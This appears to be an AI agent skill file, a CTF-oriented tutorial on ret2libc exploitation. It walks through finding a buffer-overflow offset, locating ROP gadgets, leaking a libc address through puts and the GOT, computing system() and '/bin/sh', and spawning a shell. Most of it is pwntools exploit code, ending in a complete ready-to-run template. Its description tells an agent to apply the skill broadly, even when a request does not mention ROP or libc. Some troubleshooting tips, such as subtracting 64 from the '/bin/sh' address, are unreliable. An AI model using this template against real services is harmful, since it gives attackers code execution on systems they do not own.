| name | rop-leak-libc |
| description | How to exploit buffer overflow vulnerabilities by leaking libc addresses using ROP chains. Use this skill whenever the user mentions buffer overflow, ROP, return-oriented programming, libc, GOT, PLT, binary exploitation, pwn challenges, CTF exploitation, or needs to find shellcode addresses in dynamic binaries. Make sure to use this skill for any binary exploitation task involving dynamic linking, address leaks, or ROP gadget chains, even if they don't explicitly say "ROP" or "libc leak". |
ROP Libc Address Leaking
A skill for exploiting buffer overflow vulnerabilities in dynamically-linked binaries by leaking libc function addresses and constructing ROP chains to gain shell access.
When to Use This Skill
Use this skill when:
- You have a vulnerable binary with a buffer overflow (e.g.,
gets(), scanf() without bounds checking)
- The binary is dynamically linked (uses libc functions like
puts, printf, system)
- You need to find the libc base address to calculate
system() and /bin/sh addresses
- You're working on CTF pwn challenges or binary exploitation tasks
- The binary has no PIE (Position Independent Executable) or you need to leak addresses despite ASLR
Quick Workflow
- Find the overflow offset - Determine how many bytes to write before overwriting RIP
- Find ROP gadgets - Locate
pop rdi; ret, puts@plt, and main addresses
- Leak libc address - Use ROP to call
puts() with a GOT entry as argument
- Identify libc version - Match leaked address to known libc versions
- Calculate exploit addresses - Compute
system() and /bin/sh from libc base
- Execute final ROP - Chain gadgets to call
system("/bin/sh")
Step 1: Finding the Offset
The offset is the number of bytes you need to write before overwriting the return address (RIP).
Method 1: Using pwntools cyclic
from pwn import *
p = process('./vuln')
gdb.attach(p, "c")
payload = cyclic(1000)
p.sendline(payload)
from pwn import *
cyclic_find(0x6161616b)
Method 2: Using GEF pattern
pattern create 1000
pattern search $rsp
Save the offset - You'll use this value throughout the exploit:
OFFSET = "A" * 40
Step 2: Finding ROP Gadgets
Load the binary and extract necessary addresses:
from pwn import *
elf = ELF('./vuln')
PUTS_PLT = elf.plt['puts']
MAIN = elf.symbols['main']
POP_RDI = next(elf.gadgets['pop rdi; ret'])
log.info(f"Main: {hex(MAIN)}")
log.info(f"Puts PLT: {hex(PUTS_PLT)}")
log.info(f"Pop RDI: {hex(POP_RDI)}")
What Each Address Does
| Address | Purpose |
|---|
PUTS_PLT | Calls puts() to leak addresses |
MAIN | Returns to main() for another exploitation attempt |
POP_RDI | Sets RDI register (first argument to functions) |
If main Symbol is Missing
Some binaries strip symbols. Find main manually:
objdump -d vuln | grep ".text"
MAIN = 0x401080
Step 3: Leaking libc Address
The core technique: trick puts() into printing the address of a libc function.
The Leak ROP Chain
def leak_libc_address(func_name="puts"):
"""Leak the address of a libc function via GOT"""
FUNC_GOT = elf.got[func_name]
log.info(f"{func_name} GOT @ {hex(FUNC_GOT)}")
rop_chain = (
OFFSET +
p64(POP_RDI) +
p64(FUNC_GOT) +
p64(PUTS_PLT) +
p64(MAIN)
)
p.sendline(rop_chain)
leaked = p.recvline().strip()
leaked_addr = u64(leaked.ljust(8, b"\x00"))
log.info(f"Leaked {func_name} address: {hex(leaked_addr)}")
return leaked_addr
How It Works
- OFFSET - Fills the buffer until we overwrite RIP
- POP_RDI - Pops the next value onto RDI (first argument register)
- FUNC_GOT - The GOT entry address (contains the actual function address)
- PUTS_PLT - Calls
puts(RDI), printing the libc function address
- MAIN - Returns to main() so we can exploit again
Alternative Functions to Leak
If puts isn't available, try:
printf
__libc_start_main
read
gets
- Any function in the GOT
Step 4: Identifying libc Version
Once you have a leaked address, find which libc version it belongs to.
Method 1: libc.blukat.me
- Go to https://libc.blukat.me
- Enter the function name (e.g.,
puts)
- Enter the leaked address
- Download the matching libc file
Method 2: libc-database
git clone https://github.com/niklasb/libc-database.git
cd libc-database
./get
./find puts 0x7ff629878690
./download libc6_2.23-0ubuntu10_amd64
Method 3: Local Binary (Easiest)
For local exploitation, just use your system's libc:
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
Step 5: Calculating Exploit Addresses
With the libc file loaded, calculate addresses for the final exploit:
libc = ELF("libc.so.6")
libc.address = leaked_addr - libc.symbols["puts"]
log.info(f"libc base @ {hex(libc.address)}")
assert libc.address % 0x1000 == 0, "Invalid libc base!"
SYSTEM = libc.sym["system"]
BINSH = next(libc.search(b"/bin/sh"))
EXIT = libc.sym["exit"]
log.info(f"system: {hex(SYSTEM)}")
log.info(f"/bin/sh: {hex(BINSH)}")
Troubleshooting /bin/sh Address
If you get sh: 1: %s%s%s%s%s%s%s%s: not found, the /bin/sh string might be offset:
BINSH = next(libc.search(b"/bin/sh")) - 64
Step 6: Final Exploit
Now construct the shell-spawning ROP chain:
rop_shell = (
OFFSET +
p64(POP_RDI) +
p64(BINSH) +
p64(SYSTEM) +
p64(EXIT)
)
p.sendline(rop_shell)
p.interactive()
How the Final Chain Works
- OFFSET - Fill buffer to reach RIP
- POP_RDI - Set up first argument
- BINSH - Address of "/bin/sh" string
- SYSTEM - Call
system("/bin/sh")
- EXIT - Clean process termination
Alternative: ONE_GADGET
For a simpler approach, use one_gadget:
one_gadget libc.so.6
ONE_GADGET = libc.address + 0x4526a
rop_shell = OFFSET + p64(ONE_GADGET) + b"\x00" * 100
p.sendline(rop_shell)
p.interactive()
Complete Template
from pwn import *
OFFSET = "A" * 40
BINARY = "./vuln"
LIBC_PATH = "/lib/x86_64-linux-gnu/libc.so.6"
context.log_level = "info"
elf = ELF(BINARY)
libc = ELF(LIBC_PATH) if LIBC_PATH else None
p = process(BINARY)
PUTS_PLT = elf.plt['puts']
MAIN = elf.symbols.get('main', 0x401080)
POP_RDI = next(elf.gadgets['pop rdi; ret'])
def leak_libc():
FUNC_GOT = elf.got['puts']
rop = OFFSET + p64(POP_RDI) + p64(FUNC_GOT) + p64(PUTS_PLT) + p64(MAIN)
p.sendline(rop)
leaked = u64(p.recvline().strip().ljust(8, b"\x00"))
log.info(f"Leaked puts: {hex(leaked)}")
return leaked
leaked_puts = leak_libc()
if libc:
libc.address = leaked_puts - libc.symbols['puts']
log.info(f"libc base: {hex(libc.address)}")
SYSTEM = libc.sym['system']
BINSH = next(libc.search(b"/bin/sh"))
rop_shell = OFFSET + p64(POP_RDI) + p64(BINSH) + p64(SYSTEM)
p.sendline(rop_shell)
p.interactive()
Common Issues & Solutions
| Problem | Solution |
|---|
main symbol not found | Use objdump -d to find .text section start |
puts not in GOT | Try printf, read, or other libc functions |
sh: 1: %s%s%s%s... error | Subtract 64 from /bin/sh address |
| libc base doesn't end in 00 | You leaked the wrong address or wrong libc version |
| Segfault after leak | Check offset is correct, verify gadget addresses |
| ASLR still active | Leak address first, then calculate offsets |
Practice Resources
Key Concepts
- GOT (Global Offset Table): Stores actual addresses of libc functions
- PLT (Procedure Linkage Table): Jump table for calling libc functions
- ROP (Return-Oriented Programming): Chaining existing code snippets (gadgets)
- ASLR (Address Space Layout Randomization): Randomizes memory addresses
- PIE (Position Independent Executable): Makes the binary itself position-independent